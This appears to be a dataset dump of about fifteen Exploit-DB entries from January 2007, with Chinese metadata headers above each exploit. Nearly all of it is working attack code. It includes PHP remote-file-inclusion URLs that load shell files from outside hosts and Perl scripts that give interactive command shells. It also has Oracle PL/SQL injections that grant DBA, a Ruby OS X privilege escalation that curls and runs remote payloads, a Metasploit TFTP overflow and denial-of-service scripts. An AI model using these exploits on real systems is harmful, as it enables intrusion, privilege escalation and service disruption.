QLWD/code_shield huggingface dataset:
标题: RPW 1.0.2 - 'config.php?sql_language' Remote File Inclusion EDB-ID: 3185 CVE: 2007-0559 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-24 漏洞利用脚本: _________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:RPW
Affected Version:1.0.2
Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (config.php)
Vul Code;
require($sql_language);
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr 
Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3185
标题: BBClone 0.31 - 'selectlang.php' Remote File Inclusion EDB-ID: 3183 CVE: 2007-0508 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-23 漏洞利用脚本: ------------------------------------------------------------------------------------------------------------------------
Script:bbclone
Affected Version:0.31
Downlaoad:http://sindominio.net/ayuda/bbclone-0.31-esp.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lib/selectlang.php)
Vul Code;
require($BBC_LANGUAGE_PATH . $BBC_LANGUAGE . ".php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lib/selectlang.php?BBC_LANGUAGE_PATH=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3183
标题: Sami HTTP Server 2.0.1 - HTTP 404 Object not found Denial of Service EDB-ID: 3182 CVE: 2007-0548 类型: DOS 平台: WINDOWS 发布日期: 2007-01-23 漏洞利用脚本: #!/usr/bin/env python
import socket

print "-----------------------------------------------------------------------"
print "Sami HTTP Server HTTP 404 - Object not found Denial of Service"
print "url: http://www.karjasoft.com"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print ""
print "The server is unable to handle more than 2002 requests to nonexistents"
print "files, pages, folders etc."
print "When the number of requests exceed the 2002, it stops to answer,
stops"
print "to write to log file and the admin will be unable to kick or ban
users."
print "The only thing you can do is to kill the process."
print "-----------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",80))
   for i in range (0,2004):
       request =  "GET /some.txt HTTP/1.0 \n\n"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       print i
except:
   print "Unable to connect. exiting."

# milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3182
标题: Oracle 10g - SYS.KUPW$WORKER.MAIN PL / SQL Injection EDB-ID: 3178 CVE: 2006-3698 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-01-23 漏洞利用脚本: /**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - CREATE SESSION
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/

DECLARE
MASTER_NAME VARCHAR2(200);
MASTER_OWNER VARCHAR2(200);
BEGIN
MASTER_NAME := ''' or ' || user || '.f1=1--';
MASTER_OWNER := 'bla';
SYS.KUPW$WORKER.MAIN(
MASTER_NAME => MASTER_NAME,
MASTER_OWNER => MASTER_OWNER
);
END;
/

select *
from user_role_privs
;

// milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3178
标题: VisoHotlink 1.01 - 'functions.visohotlink.php' Remote File Inclusion EDB-ID: 3175 CVE: 2007-0489 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-22 漏洞利用脚本: #!/usr/bin/perl
#
#VisoHotlink 1.0 Remote File Include Exploit
#
#Download: http://www.easy-script.com/compt.php?id=3312
#
#Vulnerable Code: require_once( $mosConfig_absolute_path . '/includes/mosGetParam.php' );
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Doener, Perle, CodeR
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/functions.visohotlink.php?mosConfig_absolute_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *VisoHotlink 1.0 Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to VisoHotlink ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-01-22] URL: https://www.exploit-db.com/exploits/3175
标题: Apple Mac OSX 10.4.8 - 'UserNotificationCenter' Local Privilege Escalation EDB-ID: 3181 CVE: 2007-0023 类型: LOCAL 平台: OSX 发布日期: 2007-01-23 漏洞利用脚本: #!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-22-01-2007: All your crash are belong to us.
#

require 'fileutils'

bugselected = (ARGV[0] || 0).to_i

# INPUTMANAGER_URL    = "http://projects.info-pull.com/moab/bug-files/MOAB-22-01-2007_im.tar.gz"
# keeping a local backup. /str0ke
INPUTMANAGER_URL    = "https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3181.tar.gz"
INPUTMANAGER_PLANT  = "/usr/bin/curl -o /tmp/moab_im.tar.gz #{INPUTMANAGER_URL};"             +
                      "mkdir -p ~/Library/InputManagers/;"                                    +
                      "cd ~/Library/InputManagers/;"                                          +
                      "tar -zxvf /tmp/moab_im.tar.gz"

case bugselected
  when 0
    target_url  = "http://projects.info-pull.com/moab/bug-files/notification"
   trigger_cmd = "curl -o /tmp/notify #{target_url} ; /tmp/notify &"
  when 1
    target_url  = "http://projects.info-pull.com/moab/bug-files/pwned-ex-814.ttf"
   trigger_cmd = "/usr/bin/curl -o /tmp/pwned-ex-814.ttf #{target_url}; open /tmp/pwned-ex-814.ttf"
  when 2
    target_url  = "http://projects.info-pull.com/moab/bug-files/MOAB-10-01-2007.dmg.gz"
   trigger_cmd = "/usr/bin/curl -o /tmp/moab_dmg.gz #{target_url}; cd /tmp; gunzip moab_dmg.gz; open MOAB-10-01-2007.dmg" 
end

CMD_LINE = "#{INPUTMANAGER_PLANT} ; #{trigger_cmd}"

def escalate()
  puts "++ Welcome to Pwndertino..."
  system CMD_LINE
  sleep 5
  system "/Users/Shared/shX" 
end

escalate()

# milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3181
标题: Upload Service 1.0 - 'top.php?maindir' Remote File Inclusion EDB-ID: 3174 CVE: 2007-0497 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-21 漏洞利用脚本: ------------------------------------------------------------------------------------
[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 21st 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv62-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Upload Service
version : 1.0
URL : http://bild-bearbeiten.de/
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip

---------------------------------------------------------------------------

1. Install directory are not being remove after installation process
2. Variables "$maindir" in top.php are not properly sanitized.

---------------top.php--------------------------------
...
include($maindir."config.php");
include($maindir."functions/error.php");
...
------------------------------------------------------------------


When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/upload/top.php?maindir=http://127.0.0.1/shell.php?

Solution:
~~~~~~
- Remember to remove your install directory and change config.php permission
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)
- Turn off register_globals

Notification:
~~~~~~~~~

vendor not contact yet

---------------------------------------------------------------------------
Shoutz:
~~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3174
标题: WebChat 0.77 - 'defines.php?WEBCHATPATH' Remote File Inclusion EDB-ID: 3169 CVE: 2007-0485 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-21 漏洞利用脚本: ######################################################################### 
# 
#           [ webchat ] 
# 
# Class:     File Include Vulnerability  
# Published  2007/1/21 
# Remote:    Yes  
# Critical   Level : Dangerous 
# Site:      http://www.easy-script.com/compt.php?id=1705  || http://sourceforge.net/projects/webdev-webchat/
# Author:    TheViper-hacker  
# Contact:   theviper-hacker@hotmail.com 
#   
#########################################################################
file ;
frame.php
======================================================
Vuln Code
include ($WEBCHATPATH.'language/english.php');
=======================================================
Exploit :       
Http:// www.Victem.0 / [ webchat-077_path] /defines.php?WEBCHATPATH=http://turnkringonzehoop.be/viper.txt?
 
 ----  Thanx: [MoHaNdKo] [Cold ThreE] [cold zero] [The Wolf KSA]  ]organza[
 ---- GreeTz: All www.4azhar.Com Members Cont : rida-10@msn.com
--------------------------------------||  Viva ISLAM ||-----------------------------------------

# milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3169
标题: 3Com TFTP Service (3CTftpSvc) 2.0.1 - Remote Buffer Overflow (Metasploit) EDB-ID: 3170 CVE: 2006-6183 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-21 漏洞利用脚本: package Msf::Exploit::3com_tftp_long_mode;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;

my $advanced = 
  {
  };

my $info =
  {
 'Name'           => 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability',
 'Version'        => '$ 1.0 $',
 'Authors'        => ['Enseirb <vincenty [at] enseirb.fr>', ],
 'Description'    =>
   Pex::Text::Freeform(qq{
  This vulnerability is caused due to a boundary error during the processing of TFTP Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted packet with an overly long mode field (more than 460 bytes).
                            }),

 'Arch'           => [ 'x86' ],
 'OS'             => [ 'win32' ],
 'Priv'           => 0,

 'AutoOpts'       => { 'EXITFUNC' => 'seh' },
 'UserOpts'       =>
   {
  'RHOST'  => [ 1, 'ADDR', 'The TFTP target adress', "127.0.0.1" ],
  'RPORT'  => [ 0, 'PORT', 'The TFTP target port', 69 ],
   }, 

 'Payload'        =>
   {
  'Space'    => 344,
  'BadChars' => "\x00",
   },

 'Refs'           =>
   [
  ['URL', 'https://www.securityfocus.com/bid/21301'],
  ['CVE', '2006-6183'],
  ['URL', 'http://secunia.com/advisories/23113'],
  ['URL', 'http://www.securityfocus.com/archive/1/452754'],  
   ],

 'DefaultTarget'  => 0,
 'Targets'        =>
   [
  [ '0 - Windows XP SP2 ENG', 0x77d4e23b ], #or 0x77bc2063
         [ '1 - Windows XP SP1 FR', 0x77d8117b ],
         [ '2 - Windows XP SP2 FR', 0x77d8d9af ],
   ],

 'Keys'           => [ '3com' ],

 'DisclosureDate' => 'Nov 27 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit 
{
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    my $buff = "\x00\x02"; # for a WRQ (WriteReQuest) (or "\x00\x01" for a RRQ)
    $buff .= "filename_string";
    $buff .= "\x00";
    $buff .= $self->MakeNops(129) . $shellcode; 
    $buff .= pack('V',$target->[1]);
    $buff .= "\x00";

    $self->PrintLine('[+] Try to connect... ' . $target_host . ':' . $target_port);

    my $s = Msf::Socket::Udp->new
 (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,  
 );
    
    if ($s->IsError) {
 $self->PrintLine('[-] Error creating socket: ' . $s->GetError);
 return;
    }
 
    $self->PrintLine('[+] Connected!');
    $self->PrintLine('[+] Sending exploit...');

    $s->Send($buff);
    $self->PrintLine('[+] Exploit sent!');
    $s->Close();

    return;
}

1;

# milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3170
标题: Oracle 10g - SYS.KUPV$FT.ATTACH_JOB PL / SQL Injection EDB-ID: 3179 CVE: 2006-0586 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-01-23 漏洞利用脚本: /**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - EXECUTE_CATALOG_ROLE
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/

DECLARE
USER_NAME VARCHAR2(200);
JOB_NAME VARCHAR2(200);
NEW_JOB BOOLEAN;
v_Return NUMBER;
BEGIN
USER_NAME := 'OWNER';
JOB_NAME := ''' OR ' || USER || '.f1() = 1--';

v_Return := SYS.KUPV$FT.ATTACH_JOB(
USER_NAME => USER_NAME,
JOB_NAME => JOB_NAME,
NEW_JOB => NEW_JOB
);
END;
/

// milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3179
标题: Vote-Pro 4.0 - 'poll_frame.php?poll_id' Remote Code Execution EDB-ID: 3180 CVE: 2007-0535 2007-0504 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-23 漏洞利用脚本: #################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                          Vote-Pro Code Injection 0day Exploit                                 #
#################################################################################################
# Software: Vote-Pro 4.0                                                                        #
#                                                                                               #
# Vendor: http://www.vote-pro.com/                                                              #
#                                                                                               #
# Released: 2007/01/23                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note: The information provided in this document is for Vote-Pro administrator                 #
# testing purposes only!                                                                        #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
 print q
 {Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}

sub Usage()
{
 print q
 {
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
 exit();
}

Header();

if (!$target || !$folder) {
 Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
 $xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
 print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
 print $xpack "Host: $target\n";
 print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
 print $xpack "Accept: text/html\n";
 print $xpack "Connection: keep-alive\n\n";

 print "[cmd]\$ ";
 $cmd = <STDIN>;
 $cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";

# milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3180
标题: Bradabra 2.0.5 - '/include/includes.php' Remote File Inclusion EDB-ID: 3162 CVE: 2007-0500 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-20 漏洞利用脚本: ======================================================================
Bradabra <== v2.0.5 Remote File Include Vulnerability               #
======================================================================
Downlaoad Script :ftp://ftp1.comscripts.com/PHP/773_bradabra-205.gz #
======================================================================
Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn             #
======================================================================
SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                     #
======================================================================
In:  /include/includes.php                                          #
======================================================================
Vulnerable Code:                                                    #
======================================================================
include $include_path."config_user.php";                            #
include $include_path."defines.php";                                #
include $include_path."lang.php";                                   #
include $include_path."functions.php";                              #
include $include_path."functions_arch.php";                         #
include $include_path."style.php";                                  #
include $include_path."sql.php";                                    #
include $include_path."db_connect.php";                             #
include $include_path."db.php";                                     #
include $include_path."login_check.php";                            #
include $include_path."functions_js.php";                           #
======================================================================
Exploit:                                                            #
======================================================================
http://Victim.Com/include/includes.php?include_path=Shell.txt       #
======================================================================
                    Tryag.Com & Dwrat.com                          #
======================================================================

# milw0rm.com [2007-01-20] URL: https://www.exploit-db.com/exploits/3162
标题: Apple Mac OSX 10.4.x Kernel - 'shared_region_map_file_np()' Memory Corruption EDB-ID: 3167 CVE: 2007-0430 类型: DOS 平台: OSX 发布日期: 2007-01-21 漏洞利用脚本: /*
This vulnerability was discovered by Adriano Lima
<adriano@risesecurity.org>.

REFERENCES

[1] Mac OS X Internals: A Systems Approach By Amit Singh

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.
*/


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>

int main(int argc,char **argv){
   int fd;

   if((fd=open("/usr/lib/libSystem.dylib",O_RDONLY))==-1){
       perror("open");
       exit(EXIT_FAILURE);
   }

   if(syscall(SYS_shared_region_map_file_np,fd,0x02000000,NULL,NULL)==-1){
       perror("shared_region_map_file_np");
       exit(EXIT_FAILURE);
   }

   exit(EXIT_FAILURE);
}

// milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3167
标题: Apple iChat 3.1.6 441 - 'aim://' URL Handler Format String (PoC) EDB-ID: 3166 CVE: 2007-0021 类型: DOS 平台: OSX 发布日期: 2007-01-21 漏洞利用脚本: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
 <head>
  <title>MOAB-20-01-2007</title>
  <script>
   function boom() {
    var str = '';
    for (var i = 0; i < 20; i++) {
        str = str + escape('A%n');
    }
    str = 'aim:gochat?roomname=' + str;
    window.location = str;
   }
  </script>
 </head>
 <body onload="boom()">
 </body>
</html>

# milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3166